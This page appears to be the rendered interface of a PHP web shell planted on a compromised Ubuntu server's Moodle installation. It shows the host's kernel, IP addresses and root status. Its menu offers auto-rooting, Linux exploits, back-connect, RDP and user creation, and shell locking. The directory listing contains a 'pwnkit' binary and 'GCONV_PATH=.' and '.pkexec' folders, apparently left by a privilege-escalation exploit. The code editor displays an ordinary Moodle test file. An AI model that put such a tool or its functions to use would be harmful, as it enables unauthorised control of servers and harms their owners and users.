Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
lib /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
action_menu.feature
1.14
KB
-rw-rw-r--
alpha_chooser.feature
21.56
KB
-rw-rw-r--
behat_action_menu.php
3.16
KB
-rw-rw-r--
behat_data_generators.php
29.19
KB
-rw-rw-r--
behat_deprecated.php
4.69
KB
-rw-rw-r--
behat_filters.php
2.95
KB
-rw-rw-r--
behat_forms.php
21.45
KB
-rw-rw-r--
behat_general.php
74.59
KB
-rw-rw-r--
behat_hooks.php
25.6
KB
-rw-rw-r--
behat_navigation.php
25.91
KB
-rw-rw-r--
behat_permissions.php
10.3
KB
-rw-rw-r--
behat_transformations.php
5.93
KB
-rw-rw-r--
largeforms.feature
4.46
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
readonlyform.feature
1.64
KB
-rw-rw-r--
timezone.feature
438
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_action_menu.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Steps definitions to open and close action menus. * * @package core * @category test * @copyright 2016 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php. require_once(__DIR__ . '/../../behat/behat_base.php'); use Behat\Mink\Exception\ExpectationException as ExpectationException; use Behat\Mink\Exception\DriverException as DriverException; /** * Steps definitions to open and close action menus. * * @package core * @category test * @copyright 2016 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_action_menu extends behat_base { /** * Open the action menu in * * @Given /^I open the action menu in "(?P<element_string>(?:[^"]|\\")*)" "(?P<selector_string>[^"]*)"$/ * @param string $element * @param string $selector * @return void */ public function i_open_the_action_menu_in($element, $selectortype) { if (!$this->running_javascript()) { // Action menus automatically expand in a visible list of actions when Javascript is disabled. return; } // Gets the node based on the requested selector type and locator. $node = $this->get_node_in_container("css_element", "[role=menuitem][aria-haspopup=true]", $selectortype, $element); // Check if it is not already opened. $menunode = $this->find('css', '[aria-labelledby='.$node->getAttribute('id').']'); if ($menunode->getAttribute('aria-hidden') === 'false') { return; } $this->ensure_node_is_visible($node); $node->click(); } /** * When an action menu is open, follow one of the items in it. * * @Given /^I choose "(?P<link_string>(?:[^"]|\\")*)" in the open action menu$/ * @param string $linkstring * @return void */ public function i_choose_in_the_open_action_menu($linkstring) { if (!$this->running_javascript()) { throw new DriverException('Action menu steps are not available with Javascript disabled'); } // Gets the node based on the requested selector type and locator. $node = $this->get_node_in_container("link", $linkstring, "css_element", ".moodle-actionmenu [role=menu][aria-hidden=false]"); $this->ensure_node_is_visible($node); $node->click(); } }
Close